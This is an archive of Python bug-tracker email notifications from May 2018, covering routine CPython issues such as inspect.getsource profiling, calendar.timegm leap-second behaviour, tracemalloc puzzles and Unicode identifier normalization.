messages: 317185 nosy: docs at python, ericvw priority: normal severity: normal status: open title: 2.7.15 missing release notes on download page versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:30:19 2018 From: report at bugs.python.org (David Carlier) Date: Sun, 20 May 2018 16:30:19 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526833819.1.0.682650639539.issue33528@psf.upfronthosting.co.za> Change by David Carlier : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:34:16 2018 From: report at bugs.python.org (Petr Viktorin) Date: Sun, 20 May 2018 16:34:16 +0000 Subject: [issue33468] Add try-finally contextlib.contextmanager example In-Reply-To: <1526077887.55.0.682650639539.issue33468@psf.upfronthosting.co.za> Message-ID: <1526834056.3.0.682650639539.issue33468@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:38:49 2018 From: report at bugs.python.org (Pankaj Pandey) Date: Sun, 20 May 2018 16:38:49 +0000 Subject: [issue33587] inspect.getsource performs unnecessary filesystem stat call which is ignored in some circumstances Message-ID: <1526834329.07.0.682650639539.issue33587@psf.upfronthosting.co.za> New submission from Pankaj Pandey : The specific os.path.exists() call is shown here: https://github.com/python/cpython/pull/6805 If the filename is already in linecache or the module has a PEP 302 loader, then the os.path.exists() call is ignored. Hence it is better to call it only if its value is needed. Attached a very simple case which shows the impact of the change: ---------- files: inspect_stack_perf.py messages: 317186 nosy: Pankaj Pandey priority: normal pull_requests: 6667 severity: normal status: open title: inspect.getsource performs unnecessary filesystem stat call which is ignored in some circumstances Added file: https://bugs.python.org/file47607/inspect_stack_perf.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:49:06 2018 From: report at bugs.python.org (Aaron Hall) Date: Sun, 20 May 2018 16:49:06 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: <1445500861.68.0.856599723102.issue25457@psf.upfronthosting.co.za> Message-ID: <1526834946.19.0.682650639539.issue25457@psf.upfronthosting.co.za> Aaron Hall added the comment: Now that dicts are sortable, does that make the sort_keys argument redundant? Should this bug be changed to "won't fix"? ---------- nosy: +Aaron Hall _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:52:59 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 20 May 2018 16:52:59 +0000 Subject: [issue33321] Add a Linux clang ubsan undefined behavior sanitizer buildbot In-Reply-To: <1524268101.98.0.682650639539.issue33321@psf.upfronthosting.co.za> Message-ID: <1526835179.22.0.682650639539.issue33321@psf.upfronthosting.co.za> Gregory P. Smith added the comment: A buildbot is up and running: http://buildbot.python.org/all/#/builders?tags=%2Bubsan in order to see the errors though, you have to manually string search for "runtime error" in the giant test logs stdout. At the moment, Modules/_ctypes/_ctypes.c dominates the error lists with misaligned access problems - I suggest filtering that out and looking for the others to start with for anyone working on these issues. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:53:22 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 20 May 2018 16:53:22 +0000 Subject: [issue33321] Add a Linux clang ubsan undefined behavior sanitizer buildbot In-Reply-To: <1524268101.98.0.682650639539.issue33321@psf.upfronthosting.co.za> Message-ID: <1526835202.23.0.682650639539.issue33321@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:57:17 2018 From: report at bugs.python.org (Pankaj Pandey) Date: Sun, 20 May 2018 16:57:17 +0000 Subject: [issue33587] inspect.getsource performs unnecessary filesystem stat call which is ignored in some circumstances In-Reply-To: <1526834329.07.0.682650639539.issue33587@psf.upfronthosting.co.za> Message-ID: <1526835437.5.0.682650639539.issue33587@psf.upfronthosting.co.za> Pankaj Pandey added the comment: Here's the patch performance difference before and after the patch: Before: Sun May 20 21:42:32 2018 prof1.stat 1188991 function calls (1188851 primitive calls) in 4.821 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 18/1 0.006 0.000 4.824 4.824 {built-in method builtins.exec} 1 0.000 0.000 4.824 4.824 inspect_stack_perf.py:1() 1 0.001 0.001 4.790 4.790 inspect_stack_perf.py:22(load_nodes) 421 0.001 0.000 4.787 0.011 inspect_stack_perf.py:5(__init__) 421 0.001 0.000 4.786 0.011 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1492(stack) 421 0.011 0.000 4.785 0.011 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1464(getouterframes) 4630 0.031 0.000 4.770 0.001 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1425(getframeinfo) 420 0.001 0.000 4.739 0.011 inspect_stack_perf.py:9(add_child) 13994 4.159 0.000 4.159 0.000 {built-in method nt.stat} 4630 0.042 0.000 3.223 0.001 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:760(findsource) 9322 0.043 0.000 2.960 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:680(getsourcefile) 9322 0.011 0.000 2.832 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\genericpath.py:16(exists) 4630 0.016 0.000 1.339 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\linecache.py:53(checkcache) 4630 0.097 0.000 0.364 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:714(getmodule) 4692 0.008 0.000 0.135 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:702(getabsfile) 4754 0.008 0.000 0.091 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\ntpath.py:538(abspath) 4754 0.036 0.000 0.074 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\ntpath.py:471(normpath) 162600 0.071 0.000 0.071 0.000 {built-in method builtins.hasattr} After the patch: Sun May 20 21:39:44 2018 prof2.stat 2639991 function calls (2639727 primitive calls) in 2.841 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 18/1 0.005 0.000 2.844 2.844 {built-in method builtins.exec} 1 0.000 0.000 2.844 2.844 inspect_stack_perf.py:1() 1 0.001 0.001 2.814 2.814 inspect_stack_perf.py:22(load_nodes) 421 0.001 0.000 2.812 0.007 inspect_stack_perf.py:5(__init__) 421 0.001 0.000 2.811 0.007 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1492(stack) 421 0.010 0.000 2.810 0.007 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1464(getouterframes) 420 0.001 0.000 2.802 0.007 inspect_stack_perf.py:9(add_child) 4630 0.029 0.000 2.795 0.001 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:1425(getframeinfo) 4630 0.040 0.000 2.380 0.001 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:760(findsource) 4674 1.631 0.000 1.631 0.000 {built-in method nt.stat} 4630 0.014 0.000 1.630 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\linecache.py:53(checkcache) 13952/13890 0.281 0.000 0.907 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:714(getmodule) 9322/9260 0.038 0.000 0.703 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:680(getsourcefile) 13952 0.018 0.000 0.259 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\inspect.py:702(getabsfile) 14014 0.017 0.000 0.215 0.000 C:\Users\ppandey\AppData\Local\Continuum\Anaconda3\lib\ntpath.py:538(abspath) 478166 0.177 0.000 0.177 0.000 {built-in method builtins.hasattr} Total runtime reduced from 4.8 s to 2.8 s, and the major difference can be seen in the `nt.stat` call. This is on a machine with SSD. In workplace where python is installed in cluster on nfs, I'm sure the performance is worse. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:57:49 2018 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 20 May 2018 16:57:49 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526835469.75.0.682650639539.issue33579@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: I was able to reproduce this issue on Linux as follows >>> import time, calendar, os >>> os.environ['TZ'] = 'right/UTC' # "right" timezones account for leap seconds >>> time.tzset() >>> calendar.timegm(time.gmtime(1234567899)) 1234567875 This confirms Martin's insight that on the OP's system gmtime accounts for leap seconds. There has been a general trend in Python to replace calls to system dependent functions in the time module with system independent reimplementations. It is certainly possible to reimplement time.gmtime, but someone should champion this idea on python-dev. ---------- assignee: -> belopolsky stage: -> needs patch type: behavior -> enhancement versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:21:26 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 20 May 2018 17:21:26 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526836886.49.0.682650639539.issue33579@psf.upfronthosting.co.za> Eitan Adler added the comment: Relevant conversation: https://lists.freebsd.org/pipermail/freebsd-standards/2018-May/003714.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:42:33 2018 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 20 May 2018 17:42:33 +0000 Subject: [issue33541] Remove private and apparently unused __pad function In-Reply-To: <1526486733.92.0.682650639539.issue33541@psf.upfronthosting.co.za> Message-ID: <1526838152.99.0.682650639539.issue33541@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: New changeset 89a25ce4fdb9c2a1a59d8cbfc498a2614b98e9ae by Alexander Belopolsky (Mario Corchero) in branch 'master': bpo-33541: Remove unused __pad function (GH-4377) https://github.com/python/cpython/commit/89a25ce4fdb9c2a1a59d8cbfc498a2614b98e9ae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:44:22 2018 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 20 May 2018 17:44:22 +0000 Subject: [issue33541] Remove private and apparently unused __pad function In-Reply-To: <1526486733.92.0.682650639539.issue33541@psf.upfronthosting.co.za> Message-ID: <1526838262.48.0.682650639539.issue33541@psf.upfronthosting.co.za> Change by Alexander Belopolsky : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:44:25 2018 From: report at bugs.python.org (Zackery Spytz) Date: Sun, 20 May 2018 17:44:25 +0000 Subject: [issue23860] Failure to check return value from lseek() in Modules/mmapmodule.c In-Reply-To: <1428083040.47.0.668729418368.issue23860@psf.upfronthosting.co.za> Message-ID: <1526838265.07.0.682650639539.issue23860@psf.upfronthosting.co.za> Change by Zackery Spytz : ---------- pull_requests: +6668 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:46:13 2018 From: report at bugs.python.org (Zackery Spytz) Date: Sun, 20 May 2018 17:46:13 +0000 Subject: [issue23860] Failure to check return value from lseek() in Modules/mmapmodule.c In-Reply-To: <1428083040.47.0.668729418368.issue23860@psf.upfronthosting.co.za> Message-ID: <1526838373.28.0.682650639539.issue23860@psf.upfronthosting.co.za> Change by Zackery Spytz : ---------- nosy: +ZackerySpytz versions: +Python 3.8 -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:50:53 2018 From: report at bugs.python.org (Zackery Spytz) Date: Sun, 20 May 2018 17:50:53 +0000 Subject: [issue33383] Crash in the get() method a single argument in dbm.ndbm In-Reply-To: <1524989378.13.0.682650639539.issue33383@psf.upfronthosting.co.za> Message-ID: <1526838653.12.0.682650639539.issue33383@psf.upfronthosting.co.za> Zackery Spytz added the comment: There was already an open issue for this (#31868). ---------- nosy: +ZackerySpytz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:57:15 2018 From: report at bugs.python.org (Christian Heimes) Date: Sun, 20 May 2018 17:57:15 +0000 Subject: [issue32262] Fix linting errors in asyncio code; use f-strings consistently In-Reply-To: <1512861969.57.0.213398074469.issue32262@psf.upfronthosting.co.za> Message-ID: <1526839035.61.0.682650639539.issue32262@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset d361e99868a9eaa7ffce9341e1207705dbb66b50 by Christian Heimes in branch 'master': bpo-32262: Fix typo in f-string (GH-7016) https://github.com/python/cpython/commit/d361e99868a9eaa7ffce9341e1207705dbb66b50 ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 13:58:24 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 17:58:24 +0000 Subject: [issue32262] Fix linting errors in asyncio code; use f-strings consistently In-Reply-To: <1512861969.57.0.213398074469.issue32262@psf.upfronthosting.co.za> Message-ID: <1526839104.12.0.682650639539.issue32262@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6669 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 14:19:01 2018 From: report at bugs.python.org (Alexander Mohr) Date: Sun, 20 May 2018 18:19:01 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526840341.35.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: so based on my last comment I just realized we could easily see if something was amiss by comparing results from python 3.5.2 to 3.6.5 and low and behold the callstack in question does not appear in the tracemalloc results from 3.5.2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 14:22:58 2018 From: report at bugs.python.org (Christian Heimes) Date: Sun, 20 May 2018 18:22:58 +0000 Subject: [issue32262] Fix linting errors in asyncio code; use f-strings consistently In-Reply-To: <1512861969.57.0.213398074469.issue32262@psf.upfronthosting.co.za> Message-ID: <1526840578.39.0.682650639539.issue32262@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset b85115ed4c5d4e80ab818b44401e71299de9e9a5 by Christian Heimes (Miss Islington (bot)) in branch '3.7': [3.7] bpo-32262: Fix typo in f-string (GH-7016) https://github.com/python/cpython/commit/b85115ed4c5d4e80ab818b44401e71299de9e9a5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 14:24:23 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 20 May 2018 18:24:23 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526840663.06.0.682650639539.issue33579@psf.upfronthosting.co.za> Eitan Adler added the comment: FTR this was entirely self-inflicted: I had a setting which explicitly asked for non-posix gmtime. That said, leaving this open for the same reasons as above. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 15:05:20 2018 From: report at bugs.python.org (Alexander Mohr) Date: Sun, 20 May 2018 19:05:20 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526843120.95.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: actually it does show in 3.5.2, it doesn't show when using get_object, but it does when using head_object, and they both throw the same exception, so weird. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 15:25:09 2018 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 20 May 2018 19:25:09 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526844309.28.0.682650639539.issue33579@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: Well, even in non-POSIX mode timegm and gmtime are the inverse of one another in BSD. The problem that you see stems from the fact that time.gmtime is implemented as a call to the namesake C function while calendar.timegm is implemented in pure Python. It would be reasonable to bring some consistency to this situation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 16:16:58 2018 From: report at bugs.python.org (Alexander Mohr) Date: Sun, 20 May 2018 20:16:58 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526847418.27.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: here's another problem, if I change that function signature to: def test(s3_client): try: method = getattr(s3_client, sys.argv[1]) method(Bucket='archpi.dabase.com', Key='doesnotexist') except botocore.exceptions.ClientError as e: if e.response['ResponseMetadata']['HTTPStatusCode'] != 404: raise print('.', end='', flush=True) the print happens every time and the raise does not ever get hit, yet the raise line is still marked as the top "leak" (unfreed blocks). It's really strange. Furthermore the second top "leak" is this stack: File "/tmp/Python-3.6.5/Lib/sre_compile.py", line 439 return prefix, prefix_skip, False File "/tmp/Python-3.6.5/Lib/sre_compile.py", line 498 prefix, prefix_skip, got_all = _get_literal_prefix(pattern) File "/tmp/Python-3.6.5/Lib/sre_compile.py", line 548 _compile_info(code, p, flags) which doesn't make sense either, why would the return line be marked as having allocated anything? and btw I did change the implementation to start early, and then compare differences between a snapshot at iter 20 and iter 100 and the same holds true as I stated, there should logically be no difference between starting it later, or starting in the beginning and comparing two snapshots as all what you're doing in either cases is comparing two ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 17:51:51 2018 From: report at bugs.python.org (Mat Leonard) Date: Sun, 20 May 2018 21:51:51 +0000 Subject: [issue33588] Unicode function arguments aren't preserved Message-ID: <1526853111.38.0.682650639539.issue33588@psf.upfronthosting.co.za> New submission from Mat Leonard : Unicode symbols used as function arguments aren't preserved in the variable names available from .__code__.co_varnames. Example shown below. def func(?, ?, ?, ?): pass varnames = func.__code__.co_varnames print(varnames) print('?' == varnames[0]) print('?' == varnames[1]) print('?' == varnames[2]) print('?' == varnames[3]) >> ('?', '?', '?', '?') >> False >> True >> True >> False I wrote some code dependent on using function arguments obtained from .__code__.co_varnames in a dictionary. Since the unicode arguments aren't preserved from defining the function and .__code__.co_varnames, the lookup in the dictionary fails. Looks like same thing happens with the inspect module (maybe .__code__.co_varnames comes from inspect) inspect.signature(func) >> ---------- components: Unicode files: Screen Shot 2018-05-20 at 2.32.05 PM.png messages: 317201 nosy: ezio.melotti, mcleonard, vstinner priority: normal severity: normal status: open title: Unicode function arguments aren't preserved type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47608/Screen Shot 2018-05-20 at 2.32.05 PM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 17:59:49 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 20 May 2018 21:59:49 +0000 Subject: [issue33588] Unicode function arguments aren't preserved In-Reply-To: <1526853111.38.0.682650639539.issue33588@psf.upfronthosting.co.za> Message-ID: <1526853589.61.0.682650639539.issue33588@psf.upfronthosting.co.za> Eric V. Smith added the comment: I think you're seeing identifier normalization. See this SO question for a description of the issue: https://stackoverflow.com/questions/34097193/identifier-normalization-why-is-the-micro-sign-converted-into-the-greek-letter ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 18:28:09 2018 From: report at bugs.python.org (Mat Leonard) Date: Sun, 20 May 2018 22:28:09 +0000 Subject: [issue33588] Unicode function arguments aren't preserved In-Reply-To: <1526853589.61.0.682650639539.issue33588@psf.upfronthosting.co.za> Message-ID: Mat Leonard added the comment: Ah great, then I just need to do something like unicodedata.normalize('NFKC', '?'). Thanks! On Sun, May 20, 2018 at 2:59 PM Eric V. Smith wrote: > > Eric V. Smith added the comment: > > I think you're seeing identifier normalization. See this SO question for a > description of the issue: > https://stackoverflow.com/questions/34097193/identifier-normalization-why-is-the-micro-sign-converted-into-the-greek-letter > > ---------- > nosy: +eric.smith > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 18:50:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 22:50:36 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526856636.08.0.682650639539.issue33542@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ea9a0994cd0f4bd37799b045c34097eb21662b3d by Serhiy Storchaka in branch '2.7': [2.7] bpo-33542: Ignore DUID in uuid.get_node on Windows. (GH-6922) (GH-7015) https://github.com/python/cpython/commit/ea9a0994cd0f4bd37799b045c34097eb21662b3d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 18:51:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 22:51:39 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526856699.44.0.682650639539.issue33580@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 4ecdc1110df211686a4406ba666a7f8106e0f618 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': bpo-33580: Make binary/text file glossary entries follow most common "see also" style. (GH-6991) (GH-7012) https://github.com/python/cpython/commit/4ecdc1110df211686a4406ba666a7f8106e0f618 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:07:28 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 20 May 2018 23:07:28 +0000 Subject: [issue33588] Unicode function arguments aren't preserved In-Reply-To: <1526853111.38.0.682650639539.issue33588@psf.upfronthosting.co.za> Message-ID: <1526857648.65.0.682650639539.issue33588@psf.upfronthosting.co.za> Steven D'Aprano added the comment: This does seem to be a normalisation issue: py> unicodedata.normalize('NFKC', '????') == ''.join(func.__code__.co_varnames) True so I'm closing this as not a bug. Mike, thank you for copying and pasting the relevant text into the bug report, but for future reference, there is no need to duplicate that information with a redundant screen shots of text for bug report. (Unless you are reporting a specifically visual bug e.g. a display problem with the turtle module.) The content of screen shots cannot be searched for, or copied and pasted, and they make it difficult for the blind and visually impaired who use screen readers. ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:16:57 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 23:16:57 +0000 Subject: [issue32411] Idlelib.browser: stop sorting dicts created by pyclbr In-Reply-To: <1513996869.13.0.213398074469.issue32411@psf.upfronthosting.co.za> Message-ID: <1526858217.3.0.682650639539.issue32411@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The patch is trivial, and I assume that the test change is adequate, but I want to put this issue on hold for the present because a) the performance gain is minuscule (the code cleanup is worth a bit more); b) I am reluctant to backport something to 3.6 that depends on an unofficial implementation change, but not doing so will make backports of changes in this area not automatic; c) I think I want to switch the browsers to ttk.Treeview, I hope before 3.6 goes off maintenance, and I expect that doing so will change this area of the code, and possibly the line being changed. 'The present' ends when 3.6 maintenance ends in 6 months or at least the module browser is patched, whichever is first. ---------- stage: test needed -> patch review versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:18:27 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 23:18:27 +0000 Subject: [issue33383] Crash in the get() method a single argument in dbm.ndbm In-Reply-To: <1524989378.13.0.682650639539.issue33383@psf.upfronthosting.co.za> Message-ID: <1526858307.6.0.682650639539.issue33383@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for reminder Zackery. I forgot about that issue! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:20:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 23:20:54 +0000 Subject: [issue31868] Null pointer dereference in ndb.ndbm get when used with a default value. In-Reply-To: <1508927118.96.0.213398074469.issue31868@psf.upfronthosting.co.za> Message-ID: <1526858454.54.0.682650639539.issue31868@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I forgot about this issue and have fixed this bug in a new issue33383. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Crash in the get() method a single argument in dbm.ndbm _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:22:38 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 23:22:38 +0000 Subject: [issue32411] Idlelib.browser: stop sorting dicts created by pyclbr In-Reply-To: <1513996869.13.0.213398074469.issue32411@psf.upfronthosting.co.za> Message-ID: <1526858558.93.0.682650639539.issue32411@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I should mention that using Treeview could mean not using pyclbr. Instead, we might extract the parsing loop and modify it to build tree nodes as functions and classes are encountered. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 19:46:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 23:46:44 +0000 Subject: [issue26103] Contradiction in definition of "data descriptor" between (dotted lookup behavior/datamodel documentation) and (inspect lib/descriptor how-to) In-Reply-To: <1452718612.1.0.925403449689.issue26103@psf.upfronthosting.co.za> Message-ID: <1526860004.71.0.682650639539.issue26103@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 4054b172ab59054715a2aaf4979bd84ac23e3ada by Serhiy Storchaka (Aaron Hall, MBA) in branch 'master': bpo-26103: Fix inspect.isdatadescriptor() and a data descriptor definition. (GH-1959) https://github.com/python/cpython/commit/4054b172ab59054715a2aaf4979bd84ac23e3ada ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 20:12:08 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 00:12:08 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526861528.27.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- keywords: +patch pull_requests: +6670 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 20:17:53 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 00:17:53 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526861873.63.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python versions: +Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 20:23:25 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 21 May 2018 00:23:25 +0000 Subject: [issue33589] Remove dummy member in GCHead Message-ID: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> New submission from INADA Naoki : https://github.com/python/cpython/commit/e348c8d154cf6342c79d627ebfe89dfe9de23817 > We can probably get rid of the double and this union hack all together today. > That is a slightly more invasive change that can be left for later. Can we do it for now (Python 3.8)? ---------- components: Interpreter Core messages: 317212 nosy: inada.naoki, pitrou priority: normal severity: normal status: open title: Remove dummy member in GCHead versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 00:21:43 2018 From: report at bugs.python.org (Carol Willing) Date: Mon, 21 May 2018 04:21:43 +0000 Subject: [issue29428] Doctest documentation unclear about multi-line fixtures In-Reply-To: <1486103112.9.0.326343032946.issue29428@psf.upfronthosting.co.za> Message-ID: <1526876503.48.0.682650639539.issue29428@psf.upfronthosting.co.za> Carol Willing added the comment: I've closed the associated PR https://github.com/python/cpython/pull/45 with a recommendation to resubmit a smaller, more atomic PR if desired. ---------- nosy: +willingc resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 01:43:33 2018 From: report at bugs.python.org (sahilmn) Date: Mon, 21 May 2018 05:43:33 +0000 Subject: [issue33590] sched.enter priority has no impact on execution Message-ID: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> New submission from sahilmn : `sched.enter` doesn't work as expected. If two events are scheduled with the same delay, then their order of execution seems to be dictated by the order of `enter` statements for the events instead of the priority order. Ref attached file with example code. `sched.enterabs` works as expected. ---------- files: sched.enter.bug.py messages: 317215 nosy: sahilmn priority: normal severity: normal status: open title: sched.enter priority has no impact on execution versions: Python 3.6 Added file: https://bugs.python.org/file47609/sched.enter.bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 03:29:20 2018 From: report at bugs.python.org (zachrahan) Date: Mon, 21 May 2018 07:29:20 +0000 Subject: [issue25457] json dump fails for mixed-type keys when sort_keys is specified In-Reply-To: <1445500861.68.0.856599723102.issue25457@psf.upfronthosting.co.za> Message-ID: <1526887760.72.0.682650639539.issue25457@psf.upfronthosting.co.za> zachrahan added the comment: Well, "wontfix" would be appropriate in the context of deprecating the sort_keys option (over the course of however many releases) and documenting that the new procedure for getting JSON output in a specific order is to ensure that the input dict was created in that order. Certainly for regression testing, sort_keys is no longer needed, but that's not the only reason people are using that option. (It's certainly not why 